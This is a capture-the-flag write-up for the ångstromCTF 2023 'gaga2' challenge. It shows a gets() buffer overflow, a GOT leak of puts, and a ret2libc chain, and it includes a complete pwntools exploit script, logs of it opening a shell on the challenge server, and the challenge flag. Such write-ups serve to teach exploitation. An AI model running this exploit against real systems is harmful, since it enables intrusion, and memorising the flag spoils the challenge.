> For the complete documentation index, see [llms.txt](https://jesuscries.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jesuscries.gitbook.io/home/ctf-writeups/binary-exploitation/angstromctf-2023-gaga2.md).

# ångstromCTF 2023: gaga2

## TL;DR

> Leak `puts` address, and find the correct LIBC version from Bulkat database. Use the LIBC base address to perform a *ret2libc* attack.

## Basic File Checks

In this 3 part challenge, gaga0 & gaga1 were solved using ret2win. However, gaga2 suggests that there is no `win` function available, so we're left with shellcode injection or *ret2libc* attack.

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./gaga2 
Awesome! Now there's no system(), so what will you do?!
Your input: test
```

Performing binary protection check shows that NX is enabled, so shellcode injection is not feasible. Additionally, NX enabled is hinting that we need to perform a ROP attack.

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ checksec --file=gaga2
[*] '/home/kali/Desktop/CTF/angStrom2023/gaga/gaga2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

## Static Code Analysis

`gets` function is used without boundary check, leading to a pwnable scenario for Buffer Overflow attack.

```c
void main(void)

{
  char local_48 [60];
  __gid_t local_c;
  
  setbuf(stdout,(char *)0x0);ass
  local_c = getegid();
  setresgid(local_c,local_c,local_c);
  puts("Awesome! Now there\'s no system(), so what will you do?!");
  printf("Your input: ");
  gets(local_48);
  return;
}
```

## Finding Offset

Using *de Brujin Sequence* and *pwndbg* to locate the offset.

```gdscript
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ cyclic 80            
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa
                                                                                                                             
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ gdb gaga2
GNU gdb (Debian 12.1-3) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

Reading symbols from gaga2...
(No debugging symbols found in gaga2)
pwndbg> run
Starting program: /home/kali/Desktop/CTF/angStrom2023/gaga/gaga2 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Awesome! Now there's no system(), so what will you do?!
Your input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa

Program received signal SIGSEGV, Segmentation fault.
0x000000000040124a in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
 RAX  0x7fffffffde70 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
 RBX  0x7fffffffdfc8 —▸ 0x7fffffffe31a ◂— '/home/kali/Desktop/CTF/angStrom2023/gaga/gaga2'
 RCX  0x7ffff7f99a80 (_IO_2_1_stdin_) ◂— 0xfbad2288
 RDX  0x1
 RDI  0x7ffff7f9ba20 (_IO_stdfile_0_lock) ◂— 0x0
 RSI  0x1
 R8   0x4052f1 ◂— 0x0
 R9   0x0
 R10  0x1000
 R11  0x246
 R12  0x0
 R13  0x7fffffffdfd8 —▸ 0x7fffffffe349 ◂— 'COLORFGBG=15;0'
 R14  0x0
 R15  0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
 RBP  0x6161617261616171 ('qaaaraaa')
 RSP  0x7fffffffdeb8 ◂— 'saaataaa'
 RIP  0x40124a (main+116) ◂— ret 
 
 ┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ cyclic -l saaa
72
```

## Attack Strategy

Since there is no `win` function available, we can instead create our own system function `/bin/sh` from LIBC, and direct program execution to that function address, this is known as a *ret2libc* or *ret2system* attack. To do so, we will need the base address of LIBC library.

Technically, you can manually carve for the address of `system(/bin/sh)` from LIBC.

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
 196031 /bin/sh
                                                                                                                             
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
  1023: 000000000004c330    45 FUNC    WEAK   DEFAULT   16 system@@GLIBC_2.2.5
```

However, this is only the relative offset, not the actual address due to *ASLR*. In order for this attack to work, we need to calculate `LIBC base address + offset address` to get the actual address of `system(/bin/sh)`.

## Leaking GOT Address

Using the BoF vulnerability, we can leak any function address from the *Global Offset Table (GOT)*.

There are 2 methods to enumerate LIBC functions from the GOT, using either `objdump` or `Ghidra's Program Tree`.

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ objdump -t gaga2                                                

gaga2:     file format elf64-x86-64

SYMBOL TABLE:
0000000000404058 g     O .bss   0000000000000008              stdout@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              puts@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              setresgid@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              setbuf@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              printf@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              gets@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              getegid@@GLIBC_2.2.5
```

<figure><img src="/files/tppo3EwpHgfQvev6SzbU" alt=""><figcaption></figcaption></figure>

The exploit ROP chain consists of 5 parts:

* `asm('nop') * padding`: Filling up the buffer to reach the offset.
* `pop_rdi`: Prepare the `rdi` register by popping the value off stack (emptying out the register).
* `elf.got.puts`: The address we want to leak. This can be any exportable function from `gaga2` binary. In this case, we will leak the address of `puts` function.
* `elf.plt.puts`: The function of choice invoked to leak `got.puts` address. The reason why `puts` is used again here, is because `puts` only requires 1 arguments, so we only need to prepare 1 register `rdi`. Technically speaking, we can also use `write` or `printf` here, but it requires more arguments, hence more ROPGadgets to prepare.
* `elf.symbols.main`: Finally, we want to redirect program execution back to `main` to re-exploit the BoF vulnerability.

<figure><img src="/files/HGB5qDdfVenebW7QCjuU" alt=""><figcaption></figcaption></figure>

Exploit the BoF vulnerability once to leak `puts` address. Note that this is the actual address, not the relative offset.

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./solve.py REMOTE challs.actf.co 31302
[+] Opening connection to challs.actf.co on port 31302: Done
[*] Loaded 14 cached gadgets for './gaga2'
[DEBUG] Received 0x44 bytes:
    b"Awesome! Now there's no system(), so what will you do?!\n"
    b'Your input: '
[DEBUG] Sent 0x69 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000040  90 90 90 90  90 90 90 90  b3 12 40 00  00 00 00 00  │····│····│··@·│····│
    00000050  18 40 40 00  00 00 00 00  94 10 40 00  00 00 00 00  │·@@·│····│··@·│····│
    00000060  d6 11 40 00  00 00 00 00  0a                        │··@·│····│·│
    00000069
[DEBUG] Received 0x7 bytes:
    00000000  20 04 50 05  56 7f 0a                               │ ·P·│V··│
    00000007
[*] Leaked puts Address: 0x7f5605500420
[*] Switching to interactive mode
```

## Calculating LIBC Base Address

Since the challenge author did not provide the LIBC file used by the remote instance, we can perform a lookup from Blukat Database using the leaked `puts` address. Turns out to be `libc6_2.31-0ubuntu9.9_amd64`.

<figure><img src="/files/oqfeJjpSNednaGbXOTdB" alt=""><figcaption></figcaption></figure>

Now that we know which version of LIBC is used, we can carve the relative offset of `puts` using `libc.symbols['puts']`, and compare it with the leaked address of `got.puts` to calculate the base address of LIBC.

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./solve.py REMOTE challs.actf.co 31302
[+] Opening connection to challs.actf.co on port 31302: Done
[*] Loaded 14 cached gadgets for './gaga2'
[DEBUG] Received 0x44 bytes:
    b"Awesome! Now there's no system(), so what will you do?!\n"
    b'Your input: '
[DEBUG] Sent 0x69 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000040  90 90 90 90  90 90 90 90  b3 12 40 00  00 00 00 00  │····│····│··@·│····│
    00000050  18 40 40 00  00 00 00 00  94 10 40 00  00 00 00 00  │·@@·│····│··@·│····│
    00000060  d6 11 40 00  00 00 00 00  0a                        │··@·│····│·│
    00000069
[DEBUG] Received 0x7 bytes:
    00000000  20 04 50 05  56 7f 0a                               │ ·P·│V··│
    00000007
[*] Leaked puts Address: 0x7f5605500420
[*] Leaked LIBC Base Address:  0x7f560547c000
[*] Switching to interactive mode
```

## ret2libc

Using the base address of LIBC and relative offsets, we can calculate the actual address of `system(/bin/sh)` to pwn the remote server. The ROP chain for 2nd round of exploitation is essentially the same. We need to pop `rdi` again since `system()` accepts 1 argument, and insert `ret` in the middle for 64-bit stack alignment.

{% code title="solve.py" %}

```python
#!/usr/bin/env python3
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './gaga2'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()
rop = ROP(elf)

libc = ELF('./libc6_2.31-0ubuntu9.9_amd64.so', checksec = False)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)

pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = (rop.find_gadget(['ret']))[0]

padding = 72

payload = flat(
    asm('nop') * padding,
    pop_rdi,
    elf.got.puts,
    elf.plt.puts,
    elf.symbols.main
)

io.sendlineafter(b': ', payload)

got_puts = unpack(io.recv()[:6].ljust(8, b"\x00"))
info("Leaked puts Address: %#x", got_puts)

libc_base_address = got_puts - libc.symbols['puts']
print("Leaked LIBC Base Address: ", hex(libc_base_address))

rop = ROP(libc)

system = libc_base_address + libc.symbols['system']
bin_sh = libc_base_address + next(libc.search(b"/bin/sh"))
pop_rdi = libc_base_address + (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = libc_base_address + (rop.find_gadget(['ret']))[0]

payload = flat(
    asm('nop') * padding,
    pop_rdi,
    bin_sh,
    ret,
    system
)

io.clean()
io.sendlineafter(b': ', payload)
io.interactive()
```

{% endcode %}

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./solve.py REMOTE challs.actf.co 31302
[+] Opening connection to challs.actf.co on port 31302: Done
[*] Loaded 14 cached gadgets for './gaga2'
[DEBUG] Received 0x44 bytes:
    b"Awesome! Now there's no system(), so what will you do?!\n"
    b'Your input: '
[DEBUG] Sent 0x69 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000040  90 90 90 90  90 90 90 90  b3 12 40 00  00 00 00 00  │····│····│··@·│····│
    00000050  18 40 40 00  00 00 00 00  94 10 40 00  00 00 00 00  │·@@·│····│··@·│····│
    00000060  d6 11 40 00  00 00 00 00  0a                        │··@·│····│·│
    00000069
[DEBUG] Received 0x7 bytes:
    00000000  20 04 50 05  56 7f 0a                               │ ·P·│V··│
    00000007
[*] Leaked puts Address: 0x7f5605500420
Leaked LIBC Base Address:  0x7f560547c000
[*] Loaded 196 cached gadgets for './libc6_2.31-0ubuntu9.9_amd64.so'
[DEBUG] Received 0x44 bytes:
    b"Awesome! Now there's no system(), so what will you do?!\n"
    b'Your input: '
[DEBUG] Sent 0x69 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000040  90 90 90 90  90 90 90 90  6a fb 49 05  56 7f 00 00  │····│····│j·I·│V···│
    00000050  bd 05 63 05  56 7f 00 00  79 e6 49 05  56 7f 00 00  │··c·│V···│y·I·│V···│
    00000060  90 e2 4c 05  56 7f 00 00  0a                        │··L·│V···│·│
    00000069
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0xd bytes:
    b'flag.txt\n'
    b'run\n'
flag.txt
run
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x28 bytes:
    b"actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}"
actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}
```

**Flag:** actf{b4by's\_f1rst\_pwn!\_3857ffd6bfdf775e}
